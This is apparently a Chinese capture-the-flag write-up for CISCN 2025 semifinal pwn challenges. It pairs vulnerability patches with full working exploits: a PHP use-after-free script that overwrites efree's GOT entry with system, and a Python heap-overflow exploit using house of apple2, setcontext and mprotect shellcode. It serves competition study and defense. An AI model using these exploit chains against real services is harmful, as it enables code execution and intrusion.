
pwn· 更新于 2025-03-17
ciscn-2025-半决赛
CISCN 2025 半决赛 PWN AWDP
php-master
fix
导入 docker,找到 php.ini

很明显是个 php-pwn,找到这个 vuln.so find / -name "vuln.so"
这是一个很简单的 UAF,选择将
*((_BYTE *)mp + 12) == 1 patch 为 *((_BYTE *)mp + 12) == 2
让他 free 不了
break(赛后)
<?php
function str2Hex($str)
{
$hex = "";
for ($i = strlen($str) - 1; $i >= 0; $i--) $hex .= dechex(ord($str[$i]));
$hex = strtoupper($hex);
return $hex;
}
function int2Str($i, $x = 8)
{
$re = "";
for ($j = 0; $j < $x; $j++) {
$re .= pack('C', $i & 0xff);
$i >>= 8;
}
return $re;
}
function hex64(int $value): string
{
static $hex64_table = [
0 => "0",
1 => "1",
2 => "2",
3 => "3",
4 => "4",
5 => "5",
6 => "6",
7 => "7",
8 => "8",
9 => "9",
10 => "a",
11 => "b",
12 => "c",
13 => "d",
14 => "e",
15 => "f"
];
$result = "";
for ($i = 0; $i < 16; $i++) {
$remainder = $value % 0x10;
$value = (int)($value / 0x10);
$result = $hex64_table[$remainder] . $result;
}
return "0x" . $result;
}
function leakaddr($buffer)
{
global $libc, $mbase;
$p = '/([0-9a-f]+)\-[0-9a-f]+ .* \/lib\/x86_64-linux-gnu\/libc-2.28.so/';
$p1 = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/local\/lib\/php\/extensions\/no-debug-non-zts-20210902\/vuln.so/';
// echo $buffer.'<br>';
preg_match_all($p, $buffer, $libc);
preg_match_all($p1, $buffer, $mbase);
return "";
}
$libc = "";
$mbase = "";
ob_start("leakaddr");
include("/proc/self/maps");
$buffer = ob_get_contents();
ob_end_flush();
// echo $buffer;
leakaddr($buffer);
$libc_base = hexdec($libc[1][0]);
$mod_base = hexdec($mbase[1][0]);
echo hex64($libc_base) . '\n';
echo hex64($mod_base) . '\n';
$efree_addr = $mod_base + 0x4060;
construct(10);
allocate(0, 0x90);
clear();
overwrite(0, int2Str($efree_addr));
construct(8);
allocate(0, 0x90);
allocate(1, 0x90);
overwrite(0, "/readflag > /var/www/html/flag.txt");
overwrite(1, int2Str($libc_base + 0x44af0));
clear();
UAF 任意地址分配,改 efree got 表为 system
Prompt
fix
一个简单的 protobuf,堆溢出
推销一下 protobuf 自动提取
https://bbs.kanxue.com/thread-285969.htm

没有对 size 做检查,就 memcpy,将 memcpy 长度 patch 为 0x20 即可
break
syntax = "proto3";
package HeapPayload;
message HeapPayload {
int32 option = 1;
int32 chunk_sizes = 2;
int32 heap_chunks_id = 3;
bytes heap_content = 4;
}
#!/usr/bin/env python3
from pwncli import *
import ctf_pb2
context.terminal = ["tmux", "splitw", "-h", "-l", "190"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0
if local_flag == "remote":
addr = '10.10.1.108 21784'
ip, port = re.split(r'[\s:]+', addr)
gift.io = remote(ip, port)
else:
gift.io = process('./pwn')
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()
gift.elf = ELF('./pwn')
input_after_this = b'Your prompt >>'
def add(size, content):
proto = ctf_pb2.HeapPayload()
proto.option = 1
proto.chunk_sizes = size
proto.heap_chunks_id = 0
proto.heap_content = content
d = proto.SerializeToString()
sa(input_after_this, p32(len(d)))
s(d)
def dele(idx):
proto = ctf_pb2.HeapPayload()
proto.option = 2
proto.chunk_sizes = 0
proto.heap_chunks_id = idx
proto.heap_content = b'inkey'
d = proto.SerializeToString()
sa(input_after_this, p32(len(d)))
s(d)
def edit(idx, data, len1=0):
proto = ctf_pb2.HeapPayload()
proto.option = 3
proto.chunk_sizes = 0x400
proto.heap_chunks_id = idx
proto.heap_content = data
d = proto.SerializeToString()
if len1 == 0:
sa(input_after_this, p32(len(d)))
s(d)
else:
sa(input_after_this, p32(len1))
s(d.ljust(len1, b'\x00'))
def show(idx):
proto = ctf_pb2.HeapPayload()
proto.option = 4
proto.chunk_sizes = 0
proto.heap_chunks_id = idx
proto.heap_content = b'inkey'
d = proto.SerializeToString()
sa(input_after_this, p32(len(d)))
s(d)
def exit_():
proto = ctf_pb2.HeapPayload()
proto.option = 5
proto.chunk_sizes = 0
proto.heap_chunks_id = 0
proto.heap_content = b'1'
d = proto.SerializeToString()
sa(input_after_this, p32(len(d)))
s(d)
cmd = '''
brva 0x186F
brva 0x19E7
brva 0x1B62
brva 0x1C3F
# brva 0x1D68
# b _IO_wfile_underflow
# b __libio_codecvt_in
b setcontext
set $heap = $rebase(0x5060)
dir /mnt/f/Documents/CTF/glibc/glibc-2.39
c
'''
add(0x10, b'1111')
add(0x138, b'2222')
add(0x138, b'3333')
dele(2)
edit(1, b'a' * 0x140)
show(1)
ru(b'a' * 0x140)
heap_base = (u64_ex(r(5)) << 12) - 0x7000
log_heap_base_addr(heap_base)
add(0x138, b'b') # 2
add(0x258, b'b')
add(0x458, b'b')
add(0x458, b'b')
add(0x258, b'b')
dele(5)
edit(6, b'a' * 0x330)
show(6)
libc_base = u64_ex(ru(b'\x7f')[-6:]) - 0x203D30
set_current_libc_base_and_log(libc_base)
add(0x258, b'b')
add(0x258, b'b') # 7
add(0x258, b'b') # 8
dele(5)
dele(8)
edit(7, b'b' * 0x240 + p64(libc.sym.mprotect) * 4 + p64(protect_ptr(heap_base + 0x5770, libc.sym._IO_list_all - 0x0)))
CG.set_find_area(False, True)
rbx = CG.pop_rbx_ret()
mov_rdx_rbx = libc_base + 0xB0133 #: mov rdx, rbx; pop rbx; pop r12; pop rbp; ret;
payload0 = flat([rbx, 7, mov_rdx_rbx, 0, 0, 0, libc.sym.mprotect, heap_base + 0x58A8]) + ShellcodeMall.amd64.cat_flag
fake_IO_FILE = heap_base + 0x5770
payload1 = flat(
{
0x0: u64_ex(" sh"),
0x28: libc.sym.setcontext, # function
0x68: heap_base,
0x70: 0x10000,
0x88: heap_base,
0xA0: fake_IO_FILE + 0xD0 - 0xE0, # _wide_data->_wide_vtable
0xA8: libc_base + 0x4D68C,
0xD0: fake_IO_FILE + 0x28 - 0x68, # _wide_data->_wide_vtable->doallocate
0xD8: libc.sym._IO_wfile_jumps, # vtable _IO_wfile_jumps-0x48
0xE0: heap_base + 0x1000,
0xF8: payload0,
},
filler=b'\x00',
)
add(0x258, payload1)
revio = b'\x00' * 0xE0 + flat(
{
0x0: 0xFBAD2087,
8: p64(libc_base + 0x204643) * 7,
64: libc_base + 0x204644,
112: 1,
120: -1,
136: libc_base + 0x205710,
144: -1,
160: libc_base + 0x2037E0,
192: p32_ex(-1) + p32(0),
216: libc.sym._IO_file_jumps,
},
filler=b'\x00',
)
add(0x258, p64(fake_IO_FILE) * 4 + revio)
launch_gdb(cmd)
exit_()
ia()
打的是 house of apple2,rip 控制为 setcontext,然后 mprotect,orw
typo
fix
snprintf 的参数顺序错了

应为snprintf(s, maxlen, format);,题目将 maxlen 放在后面,因此我们输入的是 format,存在格串和堆溢出
将参数位置调整回来即可
post_quantum
fix
好长的题目,不读不读(
将sub_1B90()中两个 free 全 nop 掉就过了,不懂原理(((🫠
附一张排名

评论



